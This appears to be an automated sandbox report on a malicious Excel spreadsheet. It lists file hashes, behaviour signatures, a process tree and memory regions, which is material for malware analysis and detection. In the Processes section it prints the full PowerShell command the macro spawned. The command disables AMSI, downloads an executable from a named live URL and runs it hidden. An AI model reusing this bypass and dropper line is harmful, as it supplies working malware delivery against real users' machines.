Analysis

  • max time kernel
    130s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-09-2024 16:07

General

  • Target

    d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls

  • Size

    67KB

  • MD5

    d6a9edfd6995ab7c8a84ce70178ea18c

  • SHA1

    e3ec93b8e8cfc7e7aef66664e4e83299502c8922

  • SHA256

    e29c0b9659bc6f4af1bb148c79c4badd043f6c731722c0e9c568093afb679d10

  • SHA512

    eceaa6daa296d71a281a99ddcc0b1cad84475677f14ed4ee2d348207ea11784ec3a46b490795d311542b2fc9c78f79c4964a7d203eefffa7f6799be9a2f79a9b

  • SSDEEP

    1536:VF35Ht0SwPasau4mU+4pL5n5LZImZqY35qAOJl/YrLYz+WrNhZFGzE+cL2RnAeaM:VF35Ht0Sgasau4mU+4pL5n5LZImZqY3x

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://soilex.co.ke/sundaymorning.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path $env:APPDATA + '\qlsh.exe') {Remove-Item $env:APPDATA + '\qlsh.exe'}; $CNVVK = New-Object System.Net.WebClient; $CNVVK.Headers['User-Agent'] = 'CNVVK'; $CNVVK.DownloadFile('http://soilex.co.ke/sundaymorning.exe', $env:APPDATA + '\qlsh.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\qlsh.exe'); Stop-Process -Id $Pid -Force
      2⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1900

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5jazscug.s4i.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    2KB

    MD5

    60a37022503fd9ac7053beb4f1d666fb

    SHA1

    74d113e6388730104a8b8bafb245e61cfbe44d4a

    SHA256

    a1bb304b965c5c3103c362c9ac3f7842deae5bd9d633d6478bd7393a5ffe8b71

    SHA512

    0b4069e88478199d1e739b167d63c10ce17fc5776857c4470037e349d99dbfd792613e7ce49d5aa640ec7b77707ad065cc8caa65e491691076c619b77c68429f

  • memory/1900-67-0x0000022B00000000-0x0000022B00022000-memory.dmp

    Filesize

    136KB

  • memory/4860-8-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-13-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-9-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-11-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-7-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-12-0x00007FFD982D0000-0x00007FFD982E0000-memory.dmp

    Filesize

    64KB

  • memory/4860-1-0x00007FFDDAAAD000-0x00007FFDDAAAE000-memory.dmp

    Filesize

    4KB

  • memory/4860-6-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-14-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-5-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

    Filesize

    64KB

  • memory/4860-17-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-21-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-20-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-19-0x00007FFD982D0000-0x00007FFD982E0000-memory.dmp

    Filesize

    64KB

  • memory/4860-16-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-15-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-10-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-2-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

    Filesize

    64KB

  • memory/4860-18-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-30-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-64-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-66-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-65-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-4-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

    Filesize

    64KB

  • memory/4860-3-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

    Filesize

    64KB

  • memory/4860-77-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-78-0x00007FFDDAAAD000-0x00007FFDDAAAE000-memory.dmp

    Filesize

    4KB

  • memory/4860-79-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB

  • memory/4860-0-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

    Filesize

    64KB

  • memory/4860-109-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

    Filesize

    64KB

  • memory/4860-110-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

    Filesize

    64KB

  • memory/4860-112-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

    Filesize

    64KB

  • memory/4860-111-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp

    Filesize

    64KB

  • memory/4860-113-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp

    Filesize

    2.0MB